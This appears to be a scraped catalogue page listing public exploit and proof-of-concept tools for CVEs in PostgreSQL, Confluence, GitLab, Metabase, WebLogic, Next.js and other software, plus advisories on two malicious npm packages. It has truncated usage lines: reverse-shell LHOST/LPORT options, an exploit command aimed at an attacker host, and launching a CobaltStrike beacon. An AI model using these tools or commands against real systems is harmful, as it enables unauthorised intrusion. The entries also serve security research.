CVE-2019-9193

GenPostgresRCEExploit GenPostgresRCEExploit は、特定の PostgreSQL バージョン（9.3～11.7）における認証済みリモートコード実行（RCE）脆弱性を悪用するための PoC ツールです。CVE-2019-9193 に脆弱な PostgreSQL データベースサーバー上で、認証済みユーザーがシステムコマンドを実行できるようにします。 機能 RCE の悪用 : 認証済み PostgreSQL セッションを通じてシステムコマンドを実行します。 バージョンチェック : 対象の PostgreSQL...

CVE-2022-26134

CVE-2022-26134 -u URL, --url URL 対象URL -c COMMAND, --command COMMAND コマンド -i LHOST, --lhost LHOST リバースシェルホストアドレス -p LPORT, --lport LPORT リバースシェルホストポート -f FILE, --file FILE 一括スキャン...

Malicious code in hardhat-ftp (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5e916c23a0efbd49d3cfcd5993957df7afbade3f454925d0672acc8c9f68245c The package's declared main entry index.js unconditionally requires./lib/config, a 4,499,968-byte obfuscator.io-packed file 26,234-entry string array...

CVE-2021-22205

CVE-2021-22205 CVE-2021-22205 RCEツールは共有・交流のみを目的としており、無許可テストに使用しないでください。作者は一切責任を負いません。 -R string VPS to load tools eg: -R 127.0.0.1:8083 -T string Tool name eg: -T fscan -c string exec cmd eg: -c "id" default "id" -host string reverse shell host -m string Method for using of CVE-2021-22205 eg:-m...

CVE-2025-54068

CVE-2025-54068 このツールは、Livewire プロジェクトの APPKEY が既知である場合に CVE-2025-54068 を悪用してリモートコマンド実行を行うために設計されたツールです。 本ツールは、Synacktiv によるオリジナルプロジェクトをリコードしたものです： Livepyre — https://github.com/synacktiv/Livepyre 核となるコンセプトと手法は元の実装に基づいています。 このバージョンでは、使いやすさと柔軟性を向上させるための小規模な機能強化と追加機能が含まれています。 インストール pipx...

CVE-2023-38646

Metabase 事前認証RCE CVE-2023-38646 POC これは、Metabaseのログインソフトウェアのリモートコード実行脆弱性を悪用するPythonスクリプトです。認証前にサーバ上で任意のコマンドを実行できます。 脆弱なバージョンは、Metabaseオープンソース0.46.6.1未満、Metabase Enterprise 1.46.6.1未満です。 使用方法 python3 exploit.py -u URL -t TOKEN -c COMMAND 引数 -h, --help このヘルプメッセージを表示して終了 -u URL, --url URL ターゲットURL -...

Malicious code in botmaker-cli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 86fdc86c67d202ca9938942ef7786534d1b72169187cce13b1cefd8899fa54aa On npm install, postinstall.js collects the installer's hostname, username, current working directory, architecture, platform, and network interface...

MSSQL-Pentest-Cheatsheet

🗄️ MSSQL ペンテストチートシート Microsoft SQL Server のペネトレーションテストに特化した実践的なチートシートです。ペネトレーションテスター、レッドチーマー、サイバーセキュリティ学習者が、セキュリティ評価中に誤設定された MSSQL データベースを列挙、悪用、不正利用する方法を理解するために設計されています。 🌐 私たちとつながる 🔵 Telegram – チャンネルに参加 ⚫ Twitter/X – フォローする 🟣 Discord – サーバーに参加 💼 LinkedIn – HackingArticles をフォロー 🎓 トレーニングプログラム 🚀...

CVE-2026-48778

CVE-2026-48778 POC Notepad++ の config.xml commandLineInterpreter を介した RCE 使い方 .\CVE-2026-48778.exe calc.exe デモ https://github.com/user-attachments/assets/79ec82c9-ab37-4923-b62d-325710095e86 脆弱性の概要 パッケージ| 影響を受けるバージョン| 修正済みバージョン ---|---|--- Notepad++| = v8.9.6| v8.9.6.1 参照 GHSA-7hm3-wp5q-ccv9...

CVE-2020-14750

CVE-2020-14750 CVE-2020-14750 および cve-2020-14882 の脆弱性向け PoC システムが脆弱かどうかをテストするには、次を使用します: ./test-CVE-2020-14750 nombredelhost:7001 現時点では、このバージョンはホストが脆弱であることのみを保証します。結果が否定的であっても、脆弱でないことを保証するものではありません。今後のバージョンで実装される予定です。 更新: 取得した応答によって、ホストが脆弱であるか、テストが失敗したかを区別できるようになりました。 悪用するには、最初のパラメータとしてホストをポート付きで...

Webmin_1.890-POC

Webmin 1.890 期限切れリモートルート CVE-2019-15107 Webmin バージョン 1.890 は、それを知る者なら誰でも root としてコマンドを実行できるバックドア付きでリリースされました。バージョン 1.900 から 1.920 にも同様のコードを使用したバックドアが含まれていましたが、デフォルトの Webmin インストールでは悪用できませんでした。管理者が Webmin - Webmin Configuration - Authentication で期限切れパスワードの変更を許可する機能を有効にしていた場合にのみ、攻撃者が使用できました。 必要条件...

SCShell

SCShell SCShell is a fileless lateral movement tool that relies on ChangeServiceConfigA to run commands. The beauty of this tool is that it does not perform authentication against SMB. Everything is performed over DCERPC. The utility can be used remotely WITHOUT registering a service or creating ...

CVE-2020-0787

CVE-2020-0787（名前付きパイプ） これは単なるデモです。実際には使用しないでください。 -コマンド実行の結果を取得（cmd /c を使用）： exp.exe "cmd /c whoami \\.\pipe\showme " show beacon.exe を実行： exp.exe "C:/beacon.exe" CobaltStrike 向け これは現在のプロジェクトよりも優れています: https://github.com/yanghaoi/ReflectiveDllSource/tree/master/CVE-2020-0787CNA 参考 出典:...

CVE-2025-26326

CVE-2025-26326 NVDA Remote および Tele NVDA Remote 接続アドオンにおける重大なセキュリティ脆弱性 この脆弱性は、CNA MITRE によって CVE-2025-26326 として記録されました。 この CVE/脆弱性は以下のグローバルデータベースに公開されています。 NVD, National Institute of Standards and Technology .gov Vulners.com tenable.com Debricked, Vulnerability database Vulmon Feedly VulDB fr Vul...

react2shell-ultimate

React2Shell Ultimate Scanner v2.0 CVE-2025-66478 対応のプロフェッショナル Next.js RSC RCE 脆弱性スキャナー 🎯 概要 React2Shell Ultimate は、CVE-2025-66478 - React Server Components RSC を使用する Next.js アプリケーションに影響を与える重大なリモートコード実行 RCE 脆弱性 - 向けの包括的な脆弱性スキャナーです。 🆕 v2.0 の新機能 バージョン 2.0 では、大幅な機能強化とプロフェッショナル向け機能が追加されています: ✨ 強化された G...

CVE-2020-14883EXP

CVE-2020-14883EXP WebLogic10.3.6.0.0 ;12.1.3.0.0 ;12.2.1.3.0; 12.2.1.4.0 ;14.1.1.0.0の検証および悪用に使用します。不正な目的には使用しないでください。 IP+ポートを入力して検証を開始します（例: 127.0.0.1:7001） リモートXMLコマンド実行をサポート 10.3.6.0.0以外のバージョンでは2つの利用方法を提供 検証に成功するとコマンドモードに入ります バッチ検証が成功すると自動保存されます...

snmp-shell

SNMP Shell Shell Simulation over Net-SNMP with extend functionality Here is a preview : Description If your target has a Net-SNMP instance with the "extend" functionality, and you got a SNMP community string which gives you write access , you can use this tool to automate the process of sending...

CVE-2018-6961

CVE-2018-6961 - 未授权命令注入漏洞 此漏洞利用程序基于 Python2.7 环境，未在其他版本中测试。 1 安装依赖 pip install request 如果没有安装 pip，直接运行以下命令： apt-get install python-pip 2 使用方法 python exployt.py --rhost --interface --lhost --lport --function python exploit.py --rhost 1.1.1.1 --interface ge1 --lhost 2.2.2.2 --lport 443 --function...

CVE-2018-2380

CVE-2018-2380 CVSS v3 Base Score: 6.6/10 SAP NetWeaver AS JAVA CRM上のログインジェクションを介したリモートコマンド実行のPoC スクリプト使用例 python crmrce-CVE-2018-2380.py --host 127.0.0.1 --port 50001 --username administrator --password 123QWEasd --SID DM0 --ssl true ここで --host はSAPサーバーのIP --port SAP NetWeaver AS Javaのポート...

CVE-2025-55182

Herramienta de Detección y Explotación de CVE-2025-55182 Introducción del Proyecto Esta herramienta es una GUI basada en Java Swing para detectar y explotar la vulnerabilidad CVE-2025-55182. Esta vulnerabilidad es un fallo de seguridad en el framework Next.js que permite a un atacante ejecutar...